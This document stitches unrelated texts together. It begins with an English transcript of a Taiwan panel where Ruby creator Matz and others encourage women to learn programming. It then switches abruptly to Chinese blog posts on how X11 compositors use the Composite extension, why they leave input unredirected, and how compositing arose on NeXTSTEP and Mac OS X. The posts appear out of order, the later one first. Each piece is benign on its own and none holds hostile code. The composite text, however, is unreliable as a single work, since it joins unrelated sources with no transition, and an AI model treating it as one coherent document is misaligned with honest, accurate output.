Matz: I have never written a poem in my life, but according to the old saying, the poem is the outcome from the passion inside. If it's true, the Ruby itself is my poem. There are 600,000 lines of [laughs] C-code poem that's used.
[applause]
Charles: Yeah, an epic poem.
[laughter]
Audrey: It is also very poignant.
Matz: But anyway, the primary motivation behind the creation of Ruby is the passion. My passion of the love to the programming language. Loving programming language sounds weird to most of the people, but I can't help it. [laughs] Since I was in high school, I loved programming language, so the very important thing is the following passion.
Maybe so you ladies, girls and boys in the field, somewhat passion to create something, and then you see the screen that your software writing on, so you feel something good. That is the passion that you start with, so that passion brings you to be better programmer, better creator, or even artist.
If I say something, so follow your passion, and then nourish your passion. That's a very important things to be a better person maybe.
Hazel: Please, everyone give the applause for all four of them first.
[applause]
Hazel: This is really, really exciting, right? I know many of you sitting on the seats have not attended a programming course, or the coding process before. I want to ask a question. Do you want to learn programming? If you want, please raise your hand. Raise your hand higher, higher. [laughter] . Please, OK. Please don’t put your hand down. Please, we'll hire you soon.
[laughter]
Hazel: Is there any programmer right here want to teach all of them, please raise your hand. Wow, see, there is too many hands right in the air. I think this is really possible. If you are really want to involve in this community, you want to learning, just ask them to teach you, and maybe like the RailsGirls, you can establish your own community. Maybe in a different language, a different city, different area, that's all possible.
Last, I want all of you please give some words to the audience, sitting on the seats, to encourage them to pursue learning programming, or maybe they want to do something else. Could you give some words?
Audrey: I'd like to invite you to be yourself. There's a lot of going on in Taiwan where you see on the magazines, or on the books, that have to be as successful, or as interesting, or as fashionable as some person that appears on the cover of a magazine, or a book. There's all sort of this kind of going on. I'm sure it's a worldwide thing.
But I'd like to encourage you to think that if you follow the ways outlined in those magazines and those books, the best you could do is to just be a very good copy, or even a better copy of someone else. But that's not something irreplaceable. That's not something authentic, and that's not something that's authentic to you.
I guess the only way, for me at least, to follow your passion, is to think back of what are your unique experience that makes you care about the things you care, that makes you feel the things the way you feel, and then from it discover a ground for you to be authentic with yourself, and without exception, I think passions and compassion will follow from that. Thank you.
[applause]
Matz: I love to read sci-fi novels, and fantasy novels, but I still love to watch the Hollywood movies, science fiction, but in reality we have no ESP, and we have no magical power like Spiderman or Superman, but right now though, we can control the computers.
We can control the network, so we can communicate to the people all over the world in a second, the speed of light. That's a kind of magical power. I believe the programming is the magical power that enables the imagination to be real, so learning, and having ability to program computers, is to order computers to use some magical things. Learn program, be a magician, be a wizard, and be happier.
[applause]
Linda: I'm still pretty much figuring out what I want to be when I grow up, and what I want to be doing.
[laughter]
Linda: I've had the exact same idea. I've gone through all of my life and tried to figure out what are the points that made me who I am today, and the things that I do what I do. The first of them is from age eight, I think. Then I run into this quote from Steve Jobs, who was talking about connecting the dots. How you can connect dots only looking backwards, not looking forward.
Then I looked at the sky, and I don’t know if any of you know who came up with constellations, like the shapes that stars form, but it wasn’t scientists, it wasn’t engineers, it was the storytellers.
The people who wanted to make sense of the sky by drawing pictures in there, and calling, “This is an owl, and this is a donkey.” In the same manner, I've been trying to figure out what are the individual dots in my life, and what kind of a picture they form.
Those pictures can change throughout time, and there might be different kinds of connections, but it's important to have those dots in the first place, and to start thinking about what they form up. It's as you said, very individual, and very unique, and it shouldn't be something that you just copy from someone else.
[applause]
Charles: I'm a little biased, but honestly, I believe that being able program is the most powerful skill that a person can have. It requires essentially no resources. It helps to have a computer, but essentially it's all just from your mind. It's what you can create.
Anything you can imagine, you can create, and you don't have to have anything but time, and effort, and energy to do it. Once you start to get into this, it's almost like a drug. You're going to feel how powerful you can be, and how much you can do with programming. Get through the early tough stages, because it's a great ride, and it's really exciting.
[applause]
Hazel: OK. Thank you for you. I received some questions from the audience, but before we answer the questions. Are there any more questions that you want to ask, are there any notes you want to pass it to the stage, is there anyone or this is all the questions?
Hazel: Is there anyone? No? Let's start the Q&A panel. I think this question is for the programmers to answer. What makes you want to push girls to attend this event, and what impact do you think can make difference to girls who are involved in this event?
Audrey: The question was, really, I think, about what impact that we think that people who are involved in this event, what kind of differences those events make to the women's lives who attend these events. That's a very good question, actually.
When we talk about pushing someone to compel themselves into taking up an important social task, the way we do it is with finesse. It's about raising something, a spark that kindles in them something they already care about, but they felt that it’s helpless, maybe because they believe that they're the only person on earth who cares about this issue, or maybe they believe that the system is too large, it's too immutable, people cannot change just by themselves, and things like that.
I think programming in itself is a way to empower people, to see that there are millions of people in the world who put in maybe just five minutes a day into something. Or if you're really addicted, 15 hours a day into something…
[laughter]
Audrey: …it visibly makes the world better. I think that impacts a person's life, empowers them in ways very few other fields that could provide.
Charles: I'd say I have selfish reasons. Pretty much every programmer I've ever met has taught me something. If women are not part of that community then there are things I'm not learning. I want everybody to be part of this community, so that I have a chance to meet and talk with you about programming some day.
It all goes around. The community can't work without the community. It has to be filled with lots of different people, lots of different ideas and different ways of looking at things. It's not even just for you. I think it's absolutely crucial to the programming world, the IT and tech world, to bring more minds in. This is a great way to do it.
Linda: For the RailsGirls event, we oftentimes say that you don't learn much about programming, per se, in one weekend and especially using Rails. But you do get to meet the coaches, so you do get a real connection with a real programmer, and then you get to meet all the other women who are as excited about technology as you.
Here in Taiwan you see a lot of women in events. But we've had events in Egypt or Cairo or Azerbaijan, where they just don't even know other women who exist who are excited about this stuff. It's a very powerful thing to fashion, to meet the people.
Matz: The motivation and the background is up to each individual, like to gain new knowledge or to improve their income by learning programming. But no matter which motivation you’re behind, I really want you to understand the programming itself is pretty enjoyable. It's fun. I have been programming for more than 30 years. I have never been tired of it. It's very exciting. I often forget to eat, I forget to sleep.
[laughter and applause]
Matz: Yeah, it's fun, that much. I want you to understand the fun, the joy. Well, plus, you have your individual motivation, and plus knowing that fun will improve and even enhance your individual motivation.
Hazel: After the first question, here comes the second. It's also related to the first one. Here is a person who is working using the marketing industry. She wants to ask how can learning programming help for his or her real life?
I think, maybe, this question, we should ask the RailsGirls attendee, right here. Do any RailsGirls want to answer this question? Any RailsGirls? Oops. I think Linda has a lot of experience about this.
Linda: Let me see, marketing people, they run email campaigns. Maybe you can do a dashboard that showcases the analytics of your email campaigns, and that communicates better to your boss how important these things are.
Maybe you need to order a new campaign site and you have a programmer and the programmer says, “This is impossible. You can't do this,” so forth. Then you're like, “Yeah, bullshit. You can do this.”
[laughter]
Linda: Stuff like that. There's a lot of really tangible and real things that you can do in your industry. Any other brainstorming? I have never worked as a marketer.
Audrey: I'm going to talk a little bit more philosophically. Marketing is about getting message across to another person such that they may wish to exchange something that they have, with what you have so that you both become better. This is the fundamental of marketing.
Traditionally there are three kinds of exchanges or marketing behavior that we are used to. One is that this in-group, like maybe we’re in a family or maybe we’re in a “community” that has an in-group and an out-group.
Members in the family, or in such in-groups, the share everything, they exchange everything with everything, but they don't share with outsiders like 非我族類 (“aliens”) or something. This is one kind of exchange.
The second kind of exchange is what we see in a government or in a hierarchy where we only exchange with the upper ladder or the downward ladder. Like, I only report to my manager, my manager reports to their manager, and so on, so that the exchange of information is entirely hierarchical.
The third one is that we exchange with whoever with the cash, who has the money. We offer our service or our goods to people who have money, so we use that money to exchange with someone else, to other marketers who sells us things. We basically exchange through currency.
These are the three dominant exchange models in the world.
But by participating — as a marketer — into open source, like the Ruby community, you're going to learn the fourth exchange model in the world. That is, you freely exchange with anyone in the world for whatever purpose whatsoever.
This is an extremely revolutionary idea: I don’t care about whether you're in the same ethnic group as me, I don't care whether you’re Taiwanese or not. I don't care whether you’re my boss or my manager, and I don’t care whether you have the cash. I'm going to offer my service and my generosity to you.
This kind of marketing, as we proved, like Linda’s Kickstarter campaign, reaches more people in shorter time more efficiently than any of those three legacy, old exchange models. That's going to be the trend of the 21st century. By participating in an open source community, you're going to see firsthand how this works, and how to make it work for you in real time.
[applause]
Matz: I used to work as the professional programmer, I still am. But I work for the company and I order to develop software in the team. In that time the many things out of control me, so the boss decides something, that you have use this tool, you have to use this language or something like that. But it's bullshit.
[laughter]
Matz: Now I'm working on open source software, mostly because it enhances my control. I can decide by myself what project I work on and I can decide which technology I use. I can decide what I do today in a certain degree much better than I used to. I think one of the joys from programming is the having power, and having control. Of course, the power comes with responsibility.
Hazel: Thank you. Well, but here is a caution about the female programming popularity. If the female programmer community is getting bigger and bigger, do they have any influence to the marketing of the programming industry?
Linda: I was just writing a report on this subject. The first professional programmers in the world were in the second World War, and there were a lot of females operating computers and calculating ballistic things, and so forth — Audrey might know more about the history of this — at that time they were doing a service to their country.
Then the next generation in the ‘60s was females who were operating computers or programming computers, because the men felt that it's a stupid manual labor thing. That's why women do it, the same way they operate telephones and so forth. But the women secretly realized that programming is really powerful, and they became better and better and better at it. It was like the Bell Labs.
I don't remember the name of the computer anymore, but they were working on this computer and the whole image of programming being male was really crafted in the ‘60s. Because the male wanted to get back the programming industry.
The requirements they used to get people into programming positions were crafted so that only young men would fit them, and very artificially done, this whole movement. Before that it was a women's profession, for the better or the worse, because it wasn't valued by the society at the time. But maybe Audrey knows more about that.
Audrey: Actually, Linda said pretty much everything there is to say about the history in United States. I think the marketing of teaching and applying and doing programming, it's going to be very much distributed.
Because 20 years ago, even, we have this idea of a larval stage — 結蛹期. It’s part of the hacker dictionary, the Jargon files. It says, basically, that to become a professional programmer, a hacker, you have to spend three or four years of your time addicted to your computer, totally breaking your sleep patterns and working 20 hour shifts. Then you will, at one point, reach enlightenment. This is a lot like Zen Buddhism.
[laughter]
Audrey: Once you reach that point, once you reach the point of 零的轉移、巫術的權勢 (the point of Zero transference — the power of wizardry), basically you become a wizard. Once you become a wizard, the distinctions — like Matz said, of gender, of age, of nationality, of ethnicity — they just disappear. It's like the scene in The Matrix, where Neo sees everything as green digits.
[laughter]
Audrey: Once you hit that stage, nothing else really affects your objective judgment. That’s also a very Zen Buddhism thing. But I think that’s partially a myth, because it was so difficult to learn about programming without the Internet community at that time.
Now with RailsGirls and communities like that, we have a slope. You can very comfortably stay on any point in the slope, with a lot of people in the same ladder to support each other, and you don't need to spend two or three years of your life.
This way, you can spread it through five years or six years — you can even sleep eight hours a day without falling back. I think that's going to change the market very much, because then instead of just amateurs and professionals, we're going to have market segments for every point in the ladder, and that's going to make the market and the community much larger.
[applause]
Hazel: Next question: What is your first entry into programming?
Charles: I don't really know when, like when I was six or seven and I learned how I could use the computer, I was immediately trying to figure out how to make it do more things than it did right then.
But over the years the things that have really inspired me to keep going is, first of all, the power rush is nice. But being able to make other people happy, make their lives easier by writing software that helps them.
I work on JRuby as a passion, because I hear stories from people that use our software, and love it, and they're happy and their lives are better as a result. That's what's really kept me going, and inspired me to continue to be a programmer, and try to get everybody that know to be a programmer as well. Because it just brings so much to other people's lives as well.
[speakers pass the mic around]
Audrey: This is like passing the baton, right?
Audrey: I remember my first entry into programming was when I was seven, and I got this really old book. Matz actually just told me, in private, that he had this really small town library where there is a book about the Ada programming language.
There weren't many programming language books, and was an Ada programming reference. He just read it from cover to cover. Very unfortunately for me, my book was about GW-Basic.
[laughter and applause]
Audrey: Yeah, if it had been Ada, maybe I would be a better programmer. But in any case, I read it from cover to cover. But I didn’t have any computers and I haven't seen any computers at that time.
What I did was I took a piece of paper, I started writing on it, drawing keyboards. I started pressing the paper. I started pressing the keys and writing the alphabets that would come after the command line. Then I still remember the touch of my fingers on the face when I type 10, space, RANDOMIZE TIMER, which is what you do is GW-Basic. I have this etched in my muscle memory before I met my first computer.
But that was a defining point, because it shows that computing is not about computers, it's about a certain way of thinking. It's about a certain way — if you organize your thought in a certain way, it yields predictable results, and it yields something that you can show to other people, so they can replicate your results. This is actually the scientific paradigm. This is like what a person without any scientific equipment whatsoever, they could just figure out, by an old GW-Basic book, the scientific method for themselves. For me, that's was the defining point.
Matz: Well, I had a similar experience. I was a little bit older when I met computer, I was 15. Soon after that, the computer runs BASIC, a reduced set of it, the language was very limited. It does only 4k memory or something. The BASIC was very strict, it has only one character variable, that means that you can have only 26 variables. That's kind of frustrating.
In the bookstore, I found a book about Pascal, so I read through the book of Pascal from cover to cover. Then I realized that there are several, there are many programming languages out there. Computer programming languages are different from each other, so someone must have created those programming languages with some intention.
At that time, somehow, I got an idea, that someone created the programming language for their purpose, so why not me?
Since then, since that idea struck my brain, I became very, very interested in programming languages. No matter what kind of program — I don’t care, I care about the programming language.
So my other friends wanted to program to, say, create games or make money or something, but I don’t care. I care about the medium, not the purpose. I read through the Ada book, Pascal books, Modula, Lisp, some other programming languages.
But I didn't have a computer to create a programming language. I had no knowledge about the compiler or interpreter, so I took my notebook, and I wrote down the program in my idea of programming language. You don't need programming skill to design a programming language.
Unfortunately, I lost that notebook, it’s really shame. I don’t remember anything. I believe that was something in between Pascal and LISP.
Actually, I didn't have friends who knew computers, in my high school age. I went to the university. I met some people who loved programming. At that time, I found that very few people care about programming languages. Then, I studied about computer science. I learned how to write compilers. Then, gradually, I created Ruby. Gradually, it took over the world.
[laughter]
Matz: The idea of a programming language was a very enlightening idea for me, at my high school age.
Linda: [laughs] I told about the Al Gore story already. [laughs] Defining moment. More recently, I went to the bookstore. Before I made the Ruby thing, I tried to look for books that would explain for kids how computers work.
I would find tons of books that talked about astronomy, like how to be an astronomer or how does a combustion engine work, aimed at [laughs] kids but none that would explain how computers work. That was an "Aha" moment for me, that this body of work or this material around software engineering needs to exist, and maybe I need to be the person who does it. I loved Audrey’s paper computer example.
One of the things I want to do is do a little origami paper computer that the kids can assemble themselves, put in the little CPU, and have a very tangible feeling about having a real computer, and their first paper computer. As you said, computing is not about the actual hardware or anything like that, but that experience of owning it.
Charles: Stay passionate about programming is to look at things that you would deal with every day and find a way to solve it through programming. Raising kids, there's a million and one things that you could use a program to help you manage it, sleep schedules, meals, or whatever. All sorts of things that you could do.
[laughter]
Charles: The other thing is to remember that, of all of the abilities that we have as humans, being able to program, being able to design programs, has probably some of the fewest demands on you. It really just needs time and a little bit of energy, which, of course, when you're raising kids, those are the two things you really don't have any more.
But as long as you're able to find just a few minutes in the day to keep moving forward, build things around your life, around your passions, kids and stuff in the house, if it gets to that point. You'll be able to keep going. You'll be able to keep going.
I can't imagine programming not being part of my life anymore. Even through the most difficult times. I've had to take some breaks sometimes, I've had to go away. I've gotten burned out on the projects that I'm working on, upset by things that people say to me or say about my programs, about my projects. But I've always come back.
I don't know anybody who has been a programmer that wasn't a programmer forever, in some way. It changes you, and I think it stays with you for the rest of your life.
Linda: A practical example, my friend made a little Arduino clock that connects to her Fitbit, and it shows like a little screen, it shows how many steps away from home she is for her little kids, all the time. Projects like that maybe, it might be helpful in just kindling that passion.
I want to quote our practical German friends. I've talked to a lot of people about their motivations in taking part in RailsGirls and so forth all around the world. The German girls, one of them approaches me and said that “Programming is the most flexible work you have. It's well paid, you can do it at home with the kids. You can do it in the evening, you can do it in the morning.” It allows them to be very self-sufficient, and that's why they want to change careers.
[applause]
Matz: The ladies are very easy to distract away from the programming, or even careers. Mostly because the social pressure, and the psychological “mind-set” or something. I declare it's OK to have passion on programming, on your career. Even you have to care about your family, your children, but you can still have passion on programming or your career.
You can come back someday. That kind of passion can motivate you. That kind of passion could be an engine to drive your life forward.
Audrey: As a personal anecdote, actually my brother has been teaching my father programming, for a while now, for a few months, and my father is in his 60s. He has a lot of students to teach, a lot of daily routines, three dogs, parents and everything.
I think the most important thing was putting your ideas somewhere that other people can see and improve on, and Ruby is a very quick way to do that of course. As long as you have a GitHub account you can just push something there, or even just as a quest you don't have to create a repository.
This is so people could start working on a code and giving you ideas, and suggestions, and that. Even if GitHub seems very hard — actually for my dad it is — you can use other tools like Hackpad, or even like Google Doc, or Google Spreadsheet, or EherCalc, or something like that.
Any online spreadsheet, or document, or any online drawing tool. You can capture your ideas in a place where everyone can see and comment on. It's actually the first step to programming. I mean it in a social way as well, and not in a coding way. To go back to the proper question. I think for someone who's time is fragmented or limited, one way is to watch or participate. One of those ongoing projects that require some input from the crowd does not require your full-time dedication. I'm going to have an advertisement for g0v.
In g0v we have a project that’s going at the moment, where we took all the grids of the reports of the spreadsheet of people's donations to their political campaigns. It was locked away in PDF, and it's only allowed to be printed with water mark — they are not published online — and you have to pay for the copying fees. You can only take two pages, or 100 pages out at a time, it was very archaic, and it is because they don't have a budget to do it.
What we did was we asked people to take the copied papers out, and we scanned them, and upload them on DropBox, or on Google Drive. You don't need to be very technical to do that, and then algorithms split them into individual grids.
Then you can visit the site to see just one grid cell. It's like a Captcha, or a game, where you just see a picture and guess — maybe a name, or maybe a number and just type in a name or a number. With this crowd-source way we have 300,000 cells identified and counting. People visit and improve the code such that the donations are now transparent, and it becomes part of the communal property.
This motivates a lot of people that have no idea what programming is, to start helping us writing a better guideline. Like there’s a person who has no experience designing a web page, that just feel very strongly about the cause. They learn about how to do Google sites, or do a basic HTML programming, so that they could put their beautiful icons to the standard operating procedure for those things.
This is about putting something into where people can see, and to contribute on. Even though you only have like five minutes, or even just 15 seconds a day, you can feel that you're part of the community, and you get to know people, who once you have a little bit more time, would take you further along the path.
在上篇文章 「桌面系統的混成器簡史」 中我介紹了其它桌面系統中的混成器的發展史和工作原理, 話題回到我們的正題 Linux 系統上,來說說目前 X 中混成器是如何工作的。 這篇文章將比上一篇深入更多技術細節,不想看太多細節的可以直接跳過看 結論 。
首先,沒有混成器的時候 X 是這樣畫圖的:
X 的應用程序沒有統一的繪圖 API 。GTK+ 在 3.0 之後統一用 Cairo 繪圖, 而 Cairo 則是基於 PDF 1.4 的繪圖模型構建的, GTK 的 2.0 和之前的版本中也有很大一部分的繪圖是用 Cairo 進行, 其餘則通過 xlib 或者 xcb 調用 X 核心協議提供的繪圖原語繪圖。 QT 的情況也是類似,基本上用 QPaint 子系統繪製成位圖然後交給 X 的顯示服務器。 顯示服務器拿到這些繪製請求之後,再在屏幕上的相應位置繪製整個屏幕。 當然還有很多老舊的不用 GTK 或者 QT 的程序,他們則直接調用 X 核心協議提供的繪圖原語。
值得注意一點是 X 上除了沒有統一的繪圖模型,也沒有統一的矢量圖格式。 X 核心協議的繪圖原語提供的是像素單位的繪圖操作,沒有類似 GDI+ 或者 Quartz 提供的 設備無關(Device Independence) 的「點」的抽象。所以只用 X 的繪圖原語的話,我們可以把 (1,1) 這個像素點塗黑,但是不能把 (0.5, 0.5) 這個點塗黑,這一設計缺陷在 Unix Hater's Handbook 中已經被吐槽過了。因爲這個缺陷,所以直接用 X 繪圖原語繪製的圖像不能像 矢量圖那樣進行無損縮放。同樣的缺陷導致 X 繪圖原語繪製的字符不能做到 子像素級(subpixel-level) 抗鋸齒(anti-aliasing) (這解釋了默認配置下的 xterm 和 urxvt 中的字體渲染爲什麼難看 )。相比之下 GDI 有對應的 WMF 矢量圖格式, Quartz 有對應的 PDF 矢量圖格式, 而 X 中沒有這樣的格式對應。因爲沒有統一的矢量圖格式,所以無論是 Cairo 、QPaint 還是沒有用這些繪圖庫但是同樣在意字體和曲線渲染效果的程序(比如 Firefox 和 Chromium)都需要首先渲染到內部的 XPixMap 位圖格式,做好子像素渲染和矢量縮放,然後再把渲染好的位圖轉交給 X 圖形服務器。
2004年發佈的 X11R6.8 版本的 Xorg 引入了 Composite 擴展 。這個擴展背後的動機以及前因後果在一篇文章 The (Re)Architecture of the X Window System 中有詳細的表述。Composite 擴展允許某個 X 程序做這幾件事情:
RedirectSubwindows
調用將一個窗口樹中的所有窗口渲染重定向到
內部存儲(off-screen storage) 。重定向的時候可以指定讓 X
自動更新窗口的內容到屏幕上或者由混成器手動更新。
NameWindowPixmap
取得某個窗口的內部存儲。
GetOverlayWindow
獲得一個特殊的用於繪圖的窗口,
在這個窗口上繪製的圖像將覆蓋在屏幕的最上面。
CreateRegionFromBorderClip
取得某個窗口的邊界剪裁區域(不一定是矩形)。有了 Composite 擴展,一個 X 程序就可以調用這些 API 實現混成器。 這裏有篇 教學解釋如何使用 Composite 擴展 。開啓了混成的 X 是這樣繪圖的:
整個 X 的混成器模型與 Mac OS X 的混成器模型相比,有如下幾點顯著的區別:
RedirectSubwindows
調用針對的是一個窗口樹,換句話說是一個窗口
及其全部子窗口,不同於 Mac OS X 中混成器會拿到全部窗口的輸出。
這個特點其實並不算是限制,因爲 X 中每個虛擬桌面都有一個根窗口,只要指定這個根窗口
就可以拿到整個虛擬桌面上的全部可見窗口輸出了。
反而這個設計提供了一定的自由度,比如我們可以用這個調用實現一個截圖程序,
拿到某個特定窗口的輸出,而不用在意別的窗口。通過上述 Composite 擴展提供的 API ,混成器可以把窗口的 輸出 重定向到自己的窗口上。 但是僅僅重定向輸出,整個 X 還不處於可用狀態,因爲 沒有重定向輸入 。 考慮一下用戶試圖用鼠標點擊某個按鈕或者文本框,這時鼠標處於的位置是在 OverlayWindow 上繪製的位置,這個鼠標事件會交給 OverlayWindow ,而用戶期待這個事件被發送給他看到的按鈕上。
需要重定向的事件主要有鍵盤和鼠標事件兩大類(暫時先不考慮觸摸屏之類的額外輸入)。 由於 Composite 擴展並沒有直接提供這方面的重定向 API ,這使得輸入事件處理起來都比較麻煩,
假設要重定向鍵盤事件,混成器需要效仿輸入法框架(fcitx, ibus, scim) 那樣處理一部分按鍵事件並把其餘事件轉給具有輸入焦點的程序。 看看現有的輸入法框架和諸多程序間的問題,我們就能知道這裏的坑有多深。 於是 大部分 X 的混成器都不處理鍵盤事件重定向 。再來看重定向鼠標事件,這邊的坑比重定向鍵盤事件的坑更多, 因爲不像重定向窗口輸出那樣只需要考慮 頂層(top-level) 窗口, 重定向鼠標輸入的時候要考慮所有子窗口(它們有獨立的事件隊列), 以及要準確記錄輸入事件事件發生時的鍵盤組合鍵狀態,還要正確實現 ICCCM/EWMH 中描述的轉交窗口焦點的複雜規則,所有這些都已經在 X 中實現過的事情需要重新實現一遍。
由於坑太多難以實現,所以所有 X 下的混成器的實現方式都是直接忽略這個繁重的任務,
不重定向輸入事件 而把它交給 X 處理。具體的實現方式就是通過
XFixes
擴展提供的
SetWindowShapeRegion
API 將 OverlayWindow 的 輸入區域
ShapeInput
設爲空區域,從而忽略對這個 OverlayWindow 的一切鼠標鍵盤事件。
這樣一來對 OverlayWindow 的點擊會透過 OverlayWindow 直接作用到底下的窗口上。
因爲選擇了不重定向輸入事件, X 下的混成器通常會處於以下兩種狀態:
可以發現這兩種狀態就直接對應了 Gnome 3 的普通狀態和縮略圖狀態(點擊 活動(Activity) 或者戳畫面左上角之後顯示的狀態),這也解釋了爲什麼儘管 Gnome 3 的窗口有碩大的關閉按鈕,但是在縮略圖狀態下 Gnome 3 仍然需要給窗口加上額外的關閉按鈕: 因爲處於縮略狀態下的窗口只是一張畫而不能點 。
Composite 擴展的這些限制使得 X 下的混成器目前只能實現 Mac OS X 那樣的 Exposé 效果,而不能實現 LG3D 那樣直接在 3D 空間中操縱窗口內容。
解決重定向問題曾經的一縷曙光是 昇陽公司(Sun Microsystems) 在開發 LG3D 的過程中同時提議過另一個 X 擴展叫做 Event Interception 或者簡稱 XEvIE ,這個擴展的設計目的就是提供 API 讓某個程序接收並操縱全部的鍵盤和鼠標事件。可惜這個擴展隨着昇陽公司本身的隕落而 處於無人維護的狀態,這一點也在它的官方網頁上說明了:
It has been suggested that this extension should not be used because it is broken and maintainerless.
通過上面的介紹,我們就已經可以看到 Composite 擴展的不足之處了。 總結起來說,主要有兩大不足:
繪圖效率低。因爲同樣的位圖從應用程序傳到 Xorg ,再從 Xorg 傳到混成器, 最後從混成器再繪製到屏幕上,繞了一個大彎。這就是爲什麼 Wayland 的開發者在他的slide the real story behind Wayland and X 裏這麼說:
and what's the X server? really bad IPC
那麼 X 服務器到底做了什麼呢? 非常糟糕的進程間通訊
沒有重定向輸入事件。如果我們要在 X 的混成器裏做這個事情, 基本上我們要全部重寫一遍 X 已經寫好的窗口事件分發邏輯。
既然同樣要重寫,爲什麼不直接重寫一遍 X 呢,扔掉那些歷史負擔,扔掉那些無用的 API ,重新設計可擴展的 API ,做好快速安全的 IPC —— 嗯,重寫 X 就是 Wayland 的目的。
不過這麼重寫了的 Wayland 還是我們熟悉可愛的 X 麼?它有哪些地方變樣了? 這將是我下一篇文章的內容。
我自己沒有寫過窗口管理器,沒有寫過混成器,沒有寫過 Wayland 程序,以上說的都是我從互聯網上看到的整理出來的內容。寫下本文的過程中我參考了這些文章:
The (Re)Architecture of the X Window System 這篇2004年寫的文章描述了 Composite 擴展出現的動機和歷史,介紹了繪圖庫的實現情況,涉及了上面所說的那些 X 擴展被用到的情況和可能。 同時這篇文章還展望了很多現在的 X 已然實現了的功能,比如 OpenGL 和 X 的結合方面我們有了 GLX 和 AIGLX ,比如內核的顯卡支持方面我們有了 DRI 和 KMS 。總之這是一篇描述 Linux 桌面未來的發展軌跡的非常有閱讀價值的歷史文獻。
so you want to build a compositor 這是一篇 2008 年寫的博文,介紹如何用 Clutter 實現一個最簡單的混成器。
Composite tutorial 這是另一篇介紹如何實現一個簡單的混成器的博文,用 Qt 實現,但是同樣很底層。
unagi 這是一個可用的(但是已經長期沒有開發的)類似 xcompmgr 的混成器。這個項目貌似 是一位研究生的碩士畢業設計,同時他公開了碩士學位的畢業論文 Master thesis: Writing an X compositing manager 其中也對實現一個簡單的混成器做了詳盡描述,包括介紹了相關的 X 擴展和調用。
(原本是想寫篇關於 Wayland 的文章,後來越寫越長感覺能形成一個系列, 於是就先把這篇背景介紹性質的部分發出來了。)
Linux 系統上要迎來 Wayland 了,或許大家能從各種渠道打聽到 Wayland 是一個混成器,替代 X 作爲顯示服務器。 那麼 混成器 是個什麼東西,桌面系統爲什麼需要它呢? 要理解爲什麼桌面系統需要 混成器 (或者它的另一個叫法, 混成窗口管理器(Compositing Window Manager) ),在這篇文章中我想回顧一下歷史, 瞭解一下混成器出現的前因後果。
首先介紹一下混成器出現前主要的一類窗口管理器,也就是 棧式窗口管理器(Stacking Window Manager) 的實現方式。
我們知道最初圖形界面的應用程序是全屏的,獨佔整個顯示器(現在很多遊戲機和手持設備的實現仍舊如此)。 所有程序都全屏並且任何時刻只能看到一個程序的輸出,這個限制顯然不能滿足人們使用計算機的需求, 於是就有了 窗口 的概念,有了 桌面隱喻 。
在 桌面隱喻(Desktop Metaphor) 中每個窗口只佔用顯示面積的一小部分, 有其顯示的位置和大小,可以互相遮蓋。於是棧式窗口管理器就是在圖形界面中實現桌面隱喻的核心功能, 其實現方式大體就是:給每個窗口一個相對的“高度”或者說“遠近”,比較高的窗口顯得距離用戶比較近, 會覆蓋其下比較低的窗口。繪圖的時候窗口管理器會從把窗口按高低排序,按照從低到高的順序使用 畫家算法 繪製整個屏幕。
這裏還要補充一點說明,在當時圖形界面的概念剛剛普及的時候,繪圖操作是非常“昂貴”的。 可以想象一下 800x600 像素的顯示器輸出下,每幀 真彩色 位圖就要佔掉 \(800 \times 600 \times 3 \approx 1.4 \text{MiB}\) 的內存大小,30Hz 的刷新率(也就是30FPS)下每秒從 CPU 傳往繪圖設備的數據單單位圖就需要 \(1.4 \times 30 = 41 \text{MiB}\) 的帶寬。對比一下當時的 VESA 接口 總的數據傳輸能力也就是 \(25 \text{MHz} \times 32 \text{bits} = 100 \text{MiB/s}\) 左右, 而 Windows 3.1 的最低內存需求是 1MB,對當時的硬件而言無論是顯示設備、內存或是CPU, 這無疑都是一個龐大的負擔。
於是在當時的硬件條件下採用棧式窗口管理器有一個巨大 優勢 :如果正確地採用畫家算法, 並且合理地控制重繪時 只繪製沒有被別的窗口覆蓋的部分 ,那麼無論有多少窗口互相 遮蓋,都可以保證每次繪製屏幕的最大面積不會超過整個顯示器的面積。 同樣因爲實現方式棧式窗口管理器也有一些難以迴避的 限制 :
以上這些限制在早期的 X11 窗口管理器比如 twm 以及 XP 之前經典主題的 Windows 或者經典的 Mac OS 上都能看到。 在這些早期的窗口環境中,如果你拖動或者縮放一個窗口,那麼將顯示變化後的窗口邊界, 這些用來預覽的邊界用快速的位圖反轉方式繪製。當你放開鼠標的時候纔會觸發窗口的 重繪事件。 雖然有很多方法或者說技巧能繞過這些限制,比如 Windows XP 上就支持了實時的 重繪事件和不規則形狀的窗口剪裁,不過這些技巧都是一連串的 hack ,難以擴展。
轉眼進入了千禧年, Windows 稱霸了 PC 產業,蘋果爲重振 Macintosh 請回了 Jobs 基於 NeXTSTEP 開發 Mac OSX 。
NeXTSTEP 在當時提供的 GUI 界面技術相比較於同年代的 X 和 Windows 有一個很特別的地方: 拖動滾動條或者移動窗口的時候,窗口的內容是 實時更新 的,這比只顯示一個縮放大小的框框來說被認爲更直觀。 而實現這個特性的基礎是在 NeXTSTEP 中運用了 Display PostScript (DPS) 技術,簡單地說,就是每個窗口並非直接輸出到顯示設備,而是把內容輸出到 (Display) PostScript 格式交給窗口管理器,然後窗口管理器再在需要的時候把 PostScript 用軟件解釋器解釋成位圖顯示在屏幕上。
比起讓窗口直接繪製,這種方案在滾動和移動窗口的時候不需要重新渲染保存好的 DPS , 所以能實現實時渲染。到了實現 Mac OS X 的時候,爲了同時兼容老的 Mac 程序 API (carbon) 以及更快的渲染速度,以及考慮到 Adobe 對蘋果收取的高昂的 Display PostScript 授權費, Mac OS X 的 Quartz 技術在矢量圖的 PDF 描述模型和最終渲染之間又插入了一層抽象:
也就是說在 Mac OS X 中無論窗口用何種方式繪圖,都會繪製輸出成一副內存中的位圖交給混成器, 而後者再在需要的時候將位圖混成在屏幕上。這種設計使得 2001年3月發佈的 Mac OS X v10.0 成爲了第一個廣泛使用的具有軟件混成器的操作系統。
到了 Mac OS X v10.2 的時候,蘋果又引入了 Quartz Extreme 讓最後的混成渲染這一步發生在 顯卡上。然後在 2003年1月公開亮相的 Mac OS X v10.3 中,他們公佈了 Exposé (後來改名爲 Mission Control) 功能,把窗口的縮略圖(而不是事先繪製的圖標)並排顯示在桌面上, 方便用戶挑選打開的窗口。
